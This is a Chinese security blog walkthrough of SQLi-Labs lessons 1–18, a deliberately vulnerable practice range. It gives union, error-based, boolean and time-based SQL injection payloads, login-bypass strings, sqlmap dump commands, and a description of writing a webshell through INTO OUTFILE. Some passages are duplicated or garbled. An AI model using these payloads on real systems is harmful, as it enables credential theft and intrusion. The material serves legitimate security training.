免责声明

由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 简介

sqli靶场版

SqliLabs 是一个学习 SQL 注入的靶场,它提供了 GET 和 POST 的实验场景,涵盖了联合查询注入、基于报错的注入、基于时间的盲注、基于布尔的盲注、堆叠注入、二次注入以及各种注入绕过。

0x02 环境配置

靶场地址:https://github.com/Audi-1/sqli-labs

在 Windows 下使用 phpstudy 搭建靶场环境,将靶场放置到其 web 环境当中

成功访问说明靶场已经部署完成,接下来需要配置数据库连接

在/sql-connections目录下存在db-creds.inc数据库连接配置文件,设置数据库账号密码以及对应地址

$dbuser ='root';$dbpass ='root';$dbname ="security";$host = 'localhost';$dbname1 = "challenges";

完成后访问靶场,点击setup databases for labs搭建数据库环境

完成后便可快乐的注入了

闯关之前先了解常见的闭合方式、查询语法以及注入的分类

常见的几个闭合方式:or 1=1 -- +'or 1=1 -- +"or 1=1 -- +)or 1=1 -- +")or 1=1 -- +"))or 1=1 -- +用闭合的是数字型注入方式,不用闭合的是字符型注入方式union联合注入:sql union语法:select column name(s) from table_name1unionselect column name(s) from table_name2常用的sql注入查询函数:database()数据库的名version() mysql的版本信息user()数据库的用户名@@datadir 数据库路径@@version_compile_os操作系统的版本select schema_name from information_schema.schemata查库select table_name from information_schema.tables where table_schema='security' 查表select column_name from information_schema.columns where table_name='users'查列select username,password from security.users 查字段select table_schema,table_name from information_chema.tables where table_schema='数据库名';table_schema是查询数据库名称(该字段存储数据库名)table_name是查询表名(该字段存储对应数据库中的包括的表名)from information_chema是从这个数据库里来查询tables这个表

注入的分类:

数字型和字符型。攻击者目的只有一点,那就是绕过程序的限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。1、数字型注入当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。测试步骤:(1) 加单引号,URL:www.text.com/text.php" />0x03 小试牛刀 1-20 

1-20关通过请求参数值、HTTP请求头、请求方法、利用场景的不断变化,我们需要选择适当的注入方法进行SQL注入。

Lesson-1

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

$sql = select * from users where id='$id' limit 0,1## 返回内容if true:输出查询内容else:print_r(mysql_error());$sql = select * from users where id='$id' limit 0,1## 返回内容if true:输出查询内容else:print_r(mysql_error());

通过联合查询判断注入点,尝试验证

id=1' AND '1'='1 //返回正常界面

id=1' AND '1'='2 //返回错误界面

使用 order by 判断字段数

id=1' order by 3--+ //返回正常界面

id=1' order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置

id=-1' union select 1,2,3--+

查询基础信息

id=-1' union select 1,version(),user()--+id=-1' union select 1,@@version_compile_os(),database()--+

查询表名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息

id=-1' union select 1,group_concat(username),group_concat(password) from users--+

Lesson-2

该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

$sql = select * from users where id=$id limit 0,1# 返回内容if true:输出查询内容else:print_r(mysql_error());

使用联合查询判断注入点,尝试验证

id=1 AND 1=1 //返回正常界面

id=1 AND 1=2 //返回错误界面

判断字段数

id=1 order by 3--+ //返回正常界面

id=1 order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置

id=-1 union select 1,2,3--+

查询基础信息

id=-1 union select 1,version(),user()--+id=-1 union select 1,2,database()--+

查询表名

id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名

id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息

id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Lesson-3

该题为单引号单括号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

$sql = select * from users where id=('$id') limit 0,1# 返回内容if true:输出查询内容else:print_r(mysql_error());

使用联合查询判断注入点,尝试验证

id=1') AND ('1')=('1 //返回正常界面

id=1') AND ('1')=('2 //返回错误界面

判断字段数

id=1') order by 3--+ //返回正常界面

id=1') order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置

id=-1') union select 1,2,3--+

查询基础信息

id=-1') union select 1,version(),user()--+id=-1') union select 1,2,database()--+

查询表名

id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名

id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息

id=-1') union select 1,group_concat(username),group_concat(password) from users--+

Lesson-4

该题为双引号单括号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注

id=1"

目标SQL语句如下:

$sql = select * from users where id=("$id") limit 0,1# 返回内容if true:输出查询内容else:print_r(mysql_error());

使用联合查询判断注入点,尝试验证

id=1") AND ("1")=("1 //返回正常界面

id=1") AND ("1")=("2 //返回错误界面

判断字段数

id=1") order by 3--+ //返回正常界面

id=1") order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置

id=-1") union select 1,2,3--+

查询基础信息

id=-1") union select 1,version(),user()--+id=-1") union select 1,2,database()--+

查询表名

id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名

id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息

id=-1") union select 1,group_concat(username),group_concat(password) from users--+

Lesson-5

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

$sql = select * from users where id='$id' limit 0,1# 返回内容if true:输出 You are in...... else:print_r(mysql_error());

注意:本题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等

通过报错注入判断注入点,尝试验证

id=1' AND '1'='1 //返回正常界面

id=1' AND '1'='2 //返回错误界面

查询基础信息

id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+id=1' and (select count(*) from users group by concat((select user()),floor(rand(0)*2)))--+id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+id=1' and updatexml(1,concat$sql = select * from users where id='$id' limit 0,1# 返回内容if true:输出 You are in...... else:print_r(mysql_error());(0x7e,(select version()),0x7e),1)--+ id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1' and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+

查询表名

id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+

查询列名

id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+

id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+

Lesson-6

该题为双引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

id=1"

目标SQL语句如下:

$sql = select * from users where id='$id' limit 0,1# 返回内容if true:输出 You are in...... else:print_r(mysql_error());

注意:本题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等

通过报错注入判断注入点,尝试验证

id=1" AND "1"="1 //返回正常界面

id=1" AND "1"="2 //返回错误界面

查询基础信息

id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ id=1" and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+ id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1" and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+

查询表名

id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+

查询列名

id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+

id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+

Lesson-7

该题为双括号单引号get型注入,利用方式包括布尔盲注、时间盲注

id=1'

目标SQL语句如下:

$sql = select * from users where id=(('$id')) limit 0,1# 返回内容if true:输出 You are in.... Use outfile......else:输出 You have an error in your SQL syntax

注意:本题与之前稍有不同,由于不输出数据库报错信息,因此不可以使用报错注入的注入方式,但是这并不影响正常使用布尔盲注、时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可

在此题中作者还希望我们导出数据,可在数据库中进行查询导出权限

show global variables like "%secure%";

我们主要看其中的secure_file_priv参数,不同的值代表不同的含义

null #不允许导入、导出/tmp/ #只允许在/tmp目录下导入、导出空 #不限制导入导出

在 mysql 配置文件中修改为secure_file_priv=并再次查询,发现 mysql 写入配置已开启

在 MySQL 中写入文件需满足以下几个条件:必须知道需要写入的文件目录(一般为站点目录)的绝对路径当前用户具有 FILE 权限需要读取的文件所有字节刻度,但内容必须小于max_allowed_packet与此同时还需要考虑路径转义问题,即使用\\分隔路径在 MySQL 中写入文件需满足以下几个条件:必须知道需要写入的文件目录(一般为站点目录)的绝对路径当前用户具有 FILE 权限需要读取的文件所有字节刻度,但内容必须小于max_allowed_packet与此同时还需要考虑路径转义问题,即使用\\分隔路径

通过布尔盲注判断注入点,尝试验证

id=1')) AND (('1'))=(('1 //返回正常界面

id=1')) AND (('1'))=(('2 //返回错误界面

查询长度

id=1')) and length(user())>1--+ //返回正常界面id=1')) and length(user())>20--+ //返回错误界面

确认长度为14位

id=1')) and length(user())=14--+ //返回正常界面

查询字符

id=1')) and substr(user(),1,1)='r'--+ //返回正常界面id=1')) and left(user(),1)='r'--+ //left()函数id=1')) and ascii(substr(user(),1,1))=114--+ //ASCII码

id=1')) and substr(user(),2,1)='r'--+ //返回错误界面

确定用户名为root@localhost

id=1')) and substr(user(),1,14)='root@localhost'--+

以此类推即可查询数据库名、表名、列名等

id=1')) and substr((select database()),1,14)='security'--+

由于盲注太过繁琐,可以使用 sqlmap 来获取信息

sqlmap -u "http://172.16.117.135/sqli/Less-7/" />

存在注入点

扫描结果如下:

使用insert into导出文件需满足以下条件:

  • 站点路径为C:\phpStudy\PHPTutorial\WWW
  • 当前用户为root,拥有站点目录的写入权限
  • MySQL安全配置已关闭

以上条件已知,我们可以通过注入直接写入 webshell

id=1')) union select 1,2,"

成功写入

Lesson-8

该题为单引号get型注入,利用方式包括布尔盲注、时间盲注

id=1'

目标SQL语句如下:

$sql = select * from users where id='$id' limit 0,1# 返回内容if true: 输出 You are in....else: 输出 You have an error in your SQL syntax

注意:本题与之前稍有不同,由于不输出数据库报错信息,因此不可以使用报错注入的注入方式,但是这并不影响正常使用布尔盲注、时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可

使用布尔盲注判断注入点,尝试验证

id=1' AND '1'='1 //返回正常界面

id=1' AND '1'='2 //返回错误界面

查询长度

id=1' and length(user())>1--+ //返回正常界面id=1' and length(user())>20--+ //返回错误界面

确认长度为14位

id=1' and length(user())=14--+ //返回正常界面

查询字符

id=1' and substr(user(),1,1)='r'--+ //返回正常界面id=1' and left(user(),1)='r'--+ //left()函数id=1' and ascii(substr(user(),1,1))=114--+ //ASCII码

id=1' and substr(user(),2,1)='r'--+ //返回错误界面

确定用户名为root@localhost

id=1' and substr(user(),1,14)='root@localhost'--+

以此类推即可查询数据库名、表名、列名等

id=1' and substr((select database()),1,14)='security'--+

由于盲注太过繁琐,可以使用 sqlmap 来获取信息

sqlmap -u "http://172.16.117.135/sqli/Less-8/" />

扫描结果如下:

Lesson-9

该题为单引号get型注入,利用方式包括时间盲注

id=1'

目标SQL语句如下:

$sql = select * from users where id='$id' limit 0,1# 返回内容if true: 输出 You are in....else: 输出 You are in....

注意:本题与之前稍有不同,由于无论输入什么输出都相同,因此不可以使用布尔盲注的注入方式,但是这并不影响正常使用时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可

使用时间盲注判断注入点,尝试验证

id=1' AND sleep(5)--+ //界面响应需5秒以上

查询长度

id=1' and if(length(user())>1,sleep(5),0)--+ //界面响应需5秒以上id=1' and if(length(user())>20,sleep(5),0)--+ //快速返回界面

确认长度为14位

id=1' and if(length(user())=14,sleep(5),0)--+ //界面响应需5秒以上

查询字符

id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //界面响应需5秒以上id=1' and if(left(user(),1)='r',sleep(5),0)--+ //left()函数id=1' and if(ascii(substr(user(),1,1))=114,sleep(5),0)--+ //ASCII码

id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //快速返回界面

确定用户名为root@localhost

id=1' and if(substr(user(),1,14)='root@localhost',sleep(5),0)--+

以此类推即可查询数据库名、表名、列名等

id=1' and if(substr((select database()),1,14)='security',sleep(5),0)--+

由于盲注太过繁琐,可以使用 sqlmap 来获取信息

sqlmap -u "http://172.16.117.135/sqli/Less-9/" />

扫描结果如下:

Lesson-10

该题为双引号get型注入,利用方式包括时间盲注

id=1"

目标SQL语句如下:

$id = '"'.$id.'"';$sql = select * from users where id=$id limit 0,1;# 返回内容if true: 输出 You are in....else: 输出 You are in....

注意:本题与之前稍有不同,由于无论输入什么输出都相同,因此不可以使用布尔盲注的注入方式,但是这并不影响正常使用时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可

使用时间盲注判断注入点,尝试验证

id=1" AND sleep(5)--+ //界面响应需5秒以上

查询长度

id=1" and if(length(user())>1,sleep(5),0)--+ //界面响应需5秒以上id=1" and if(length(user())>20,sleep(5),0)--+ //快速返回界面

确认长度为14位

id=1" and if(length(user())=14,sleep(5),0)--+ //界面响应需5秒以上

查询字符

id=1" and if(substr(user(),1,1)='r',sleep(5),0)--+ //界面响应需5秒以上id=1" and if(left(user(),1)='r',sleep(5),0)--+ //left()函数id=1" and if(ascii(substr(user(),1,1))=114,sleep(5),0)--+ //ASCII码

id=1" and if(substr(user(),2,1)='r',sleep(5),0)--+ //快速返回界面

确定用户名为root@localhost

id=1" and if(substr(user(),1,14)='root@localhost',sleep(5),0)--+

以此类推即可查询数据库名、表名、列名等

id=1" and if(substr((select database()),1,14)='security',sleep(5),0)--+

由于盲注太过繁琐,可以使用 sqlmap 来获取信息

sqlmap -u "http://172.16.117.135/sqli/Less-10/" />

但我们并没有扫描出结果,原因是 sqlmap 在默认情况下不会测试双引号,因此我们需要设置level=3使 sqlmap 测试双引号

sqlmap -u "http://172.16.117.135/sqli/Less-10/" />

扫描结果如下:

Lesson-11

该题为单引号post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,在登录界面以 post 方式接收变量

目标SQL语句如下:

$uname = $POST['uname'];$passwd = $POST['passswd'];$sql = select username, password from users where username='$uname' and password='$passwd' limit 0,1;# 返回内容if true: 输出查询信息else: print_r(mysql_error());

注意:本题与Lesson1利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点uname、uname、 unamepasswd

涉及登录的注入难免会让人想到万能密码漏洞,以上可知 SQL 查询语句如下:

select username, password from users where username='$uname' and password='$passwd' limit 0,1;

那么我们只需要将$uname$passwd修改为1'#即可完成登录绕过,造成经典的万能密码漏洞

select username, password from users where username='1'#' and password='' limit 0,1;

类似的 payload 如下:

#注释 passwduname=admin'--+&passwd=1uname=admin'#&passwd=1#注释语句 + 添加真条件uname=admin&passwd=1' or 1--+uname=admin&passwd=1'||1--+uname=admin&passwd=1' or 1#uname=admin&passwd=1'||1##闭合语句 + 添加真条件uname=admin&passwd=1'or'1'='1uname=admin&passwd=1'||'1'='1

使用联合查询判断注入点,尝试验证

uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功登录

判断字段数

uname=admin&passwd=1'%20order%20by%202#&submit=Submit //返回正常界面

uname=admin&passwd=1'%20order%20by%202#&submit=Submit //返回错误界面

由此可说明字段数为2,通过 union select 查看回显位置

uname=admin&passwd=-1'%20union%20select%201,2#&submit=Submit

查询基础信息

uname=admin&passwd=-1'%20union%20select%20user(),database()#&submit=Submituname=admin&passwd=-1'%20union%20select%20version(),2#&submit=Submit

查询表名

uname=admin&passwd=-1'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'#&submit=Submit

查询列名

uname=admin&passwd=-1'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'#&submit=Submit

查询关键信息

uname=admin&passwd=-1'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&submit=Submit

Lesson-12

该题为单括号双引号post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

$uname = $POST['uname'];$passwd = $POST['passswd'];$sql = select username, password from users where username=("$uname") and password=("$passwd") limit 0,1;# 返回内容if true: 输出查询信息else: print_r(mysql_error());

注意:本题与Lesson11利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点uname、uname、 unamepasswd

使用联合查询判断注入点,尝试验证

uname=admin&passwd=1")%20or%20("1")=("1&submit=Submit //成功登录

判断字段数

uname=admin&passwd=1")%20order%20by%202#&submit=Submit //返回正常界面

uname=admin&passwd=1")%20order%20by%203#&submit=Submit //返回错误界面

由此可说明字段数为2,通过 union select 查看回显位置

uname=admin&passwd=-1")%20union%20select%201,2#&submit=Submit

查询基础信息

uname=admin&passwd=-1")%20union%20select%20user(),database()#&submit=Submituname=admin&passwd=-1")%20union%20select%20version(),2#&submit=Submit

查询表名

uname=admin&passwd=-1")%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'#&submit=Submit

查询列名

uname=admin&passwd=-1")%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'#&submit=Submit

查询关键信息

uname=admin&passwd=-1")%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&submit=Submit

Lesson-13

该题为单括号单引号post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

$uname = $POST['uname'];$passwd = $POST['passswd'];$sql = select username, password from users where username=('$uname') and password=('$passwd') limit 0,1;# 返回内容if true: 无输出信息else: print_r(mysql_error());

注意:本题与Lesson5利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点uname、uname、 unamepasswd

使用报错注入判断注入点,尝试验证

uname=admin&passwd=1')%20or%20('1')=('1&submit=Submit //成功登录

查询基础信息

uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submituname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submituname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submituname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit

查询表名

uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit

查询列名

uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),0x7e),1)#&submit=Submit

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit

uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%201,1),0x7e),1)#&submit=Submit

Lesson-14

该题为双引号post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

$uname = $POST['uname'];$passwd = $POST['passswd'];$uname = '"'.$uname.'"'$passwd = '"'.$passwd.'"'$sql = select username, password from users where username=$uname and password=$passwd limit 0,1;# 返回内容if true: 无输出信息else: print_r(mysql_error());

注意:本题与Lesson13利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点uname、uname、 unamepasswd

使用报错注入判断注入点,尝试验证

uname=admin&passwd=1"%20or%20"1"="1#&submit=Submit //成功登录

查询基础信息

uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submituname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submituname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submituname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit

查询表名

uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit

查询列名

uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),0x7e),1)#&submit=Submit

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit

uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%201,1),0x7e),1)#&submit=Submit

Lesson-15

该题为单引号post型注入,利用方式包括布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

$uname = $POST['uname'];$passwd = $POST['passswd'];$sql = select username, password from users where username='$uname' and password='$passwd' limit 0,1;# 返回内容if true: 无输出信息else: 无报错信息,但返回图片不同

注意:本题与Lesson7利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点uname、uname、 unamepasswd

使用布尔盲注判断注入点,尝试验证

uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功登录

查询长度

uname=admin&passwd=1'%20or%20length(user())>1#&submit=Submit //返回成功界面uname=admin&passwd=1'%20or%20length(user())>20#&submit=Submit //返回失败界面

确认长度为14位

uname=admin&passwd=1'%20or%20length(user())=14#&submit=Submit

查询字符

uname=admin&passwd=1'%20or%20substr(user(),1,1)='r'#&submit=Submit //返回成功界面

uname=admin&passwd=1'%20or%20substr(user(),2,1)='r'#&submit=Submit //返回失败界面

确定用户名为root@localhost

uname=admin&passwd=1'%20or%20substr(user(),1,14)='root@localhost'#&submit=Submit

以此类推即可查询数据库名、表名、列名等

uname=admin&passwd=1'%20or%20substr(database(),1,14)='security'#&submit=Submit

由于盲注太过繁琐,可以使用 sqlmap 来获取信息。比较方便的是我们可以将数据包保存为文本文件并使用星号标记注入点

POST /sqli/Less-15/ HTTP/1.1Host: 172.16.117.135User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 78Origin: http://172.16.117.135Connection: closeReferer: http://172.16.117.135/sqli/Less-15/Upgrade-Insecure-Requests: 1uname=admin&passwd=1&submit=Submit

使用 sqlmap 调取数据包文本进行扫描

sqlmap -r less15.txt --dbms=mysql --flush-session -v 3 -D security -T users --dump

当然也可以直接设置参数进行扫描

sqlmap.py -u "http://172.16.117.135/sqli/Less-15/" --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump

扫描结果如下:

Lesson-16

该题为单括号双引号post型注入,利用方式包括布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

$uname = $POST['uname'];$passwd = $POST['passswd'];$uname='"'.$uname.'"';$passwd='"'.$passwd.'"';$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";# 返回内容if true: 无输出信息else: 无报错信息,但返回图片不同

注意:本题与Lesson15利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点uname、uname、 unamepasswd

使用布尔盲注判断注入点,尝试验证

uname=admin&passwd=1")%20or%20("1")=("1&submit=Submit //成功登录

查询长度

uname=admin&passwd=1")%20or%20length(user())>1#&submit=Submit //返回成功界面uname=admin&passwd=1")%20or%20length(user())>20#&submit=Submit //返回失败界面

确认长度为14位

uname=admin&passwd=1")%20or%20length(user())=14#&submit=Submit

查询字符

uname=admin&passwd=1")%20or%20substr(user(),1,1)='r'#&submit=Submit //返回成功界面

uname=admin&passwd=1")%20or%20substr(user(),2,1)='r'#&submit=Submit //返回失败界面

确定用户名为root@localhost

uname=admin&passwd=1")%20or%20substr(user(),1,14)='root@localhost'#&submit=Submit

以此类推即可查询数据库名、表名、列名等

uname=admin&passwd=1")%20or%20substr(database(),1,14)='security'#&submit=Submit

由于盲注太过繁琐,可以使用 sqlmap 来获取信息。比较方便的是我们可以将数据包保存为文本文件并使用星号标记注入点

POST /sqli/Less-16/ HTTP/1.1Host: 172.16.117.135User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 78Origin: http://172.16.117.135Connection: closeReferer: http://172.16.117.135/sqli/Less-16/Upgrade-Insecure-Requests: 1uname=admin&passwd=1&submit=Submit

使用 sqlmap 调取数据包文本进行扫描

sqlmap -r less16.txt --dbms=mysql --flush-session -v 3 -D security -T users --dump --level=3

当然也可以直接设置参数进行扫描

sqlmap.py -u "http://172.16.117.135/sqli/Less-16/" --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump --level=3

扫描结果如下:

Lesson-17

该题为单引号 post型注入,利用方式包括报错注入、布尔盲注、时间盲注,密码重置界面以 post 方式接收变量

目标SQL语句如下:

$uname = check_input($POST['uname']);$passwd = $POST['passswd'];$sql="SELECT username, password FROM users WHERE username=$uname LIMIT 0,1";# 返回内容if true: $update="UPDTATE users SET password = '$passwd' WHERE username='$row'";if 报错: print_r(mysql_error());

注意:本题由于过滤了$uname参数,唯一的注入点在update语句当中且只使用了单引号拼接。操作正确无提示,因此只能使用报错注入、布尔盲注、时间盲注

使用报错注入判断注入点,尝试验证

uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功修改

查询基础信息

uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submituname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submituname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submituname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit

查询表名

uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit

查询列名

uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),0x7e),1)#&submit=Submit

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量

uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit

但这时候出现报错,这是因为updatexml是更新,不能更新后再进行查询,可使用派生表的方式进行查询解决这一问题的产生。

注意:该问题只出现于MySQL,MSSQL以及Oracle都不会出现这种问题。

uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20*%20from%20(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1)%20a)),1)#&submit=Submit

也可以直接使用 floor 进行报错注入(语句太长,一般记不住)

uname=admin&passwd=1'%20and%20(select%201%20from%20(select%20count(*),concat_ws(0x7e,(select%20concat_ws(0x7e,id,username,password)%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a)%20b)%20where%20username='admin'#&submit=Submit

Lesson-18

该题为uagent post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量并输出了IP地址

目标SQL语句如下:

$uagent = $_SERVER['HTTP_USER_AGENT'];$IP = $_SERVER['REMOTE_ADDR']$uname = check_input($POST['uname']);$passwd = check_input($POST['passswd']);$sql="SELECT user.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";# 返回内容if SQL语句有返回结果: $insert ="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')"; 输出 $uagent; print_r(mysql_error());if 报错: print_r(mysql_error());

注意:本题由于过滤了uname、uname、 unamepasswd参数,唯一的注入点在insert语句当中。我们需要输入正确的账号密码才会用到 insert 语句,因此只能使用报错注入、布尔盲注、时间盲注

在 PHP 中可用来获取客户端 IP 变量如下:

  • $_SERVER[‘HTTP_CLIENT_IP’]:很少使用,客户端可伪造
  • $_SERVER[‘HTTP_X_FORWARDED_FOR’]:客户端可伪造
  • $_SERVER[‘REMOTE_ADDR’]:客户端不能伪造

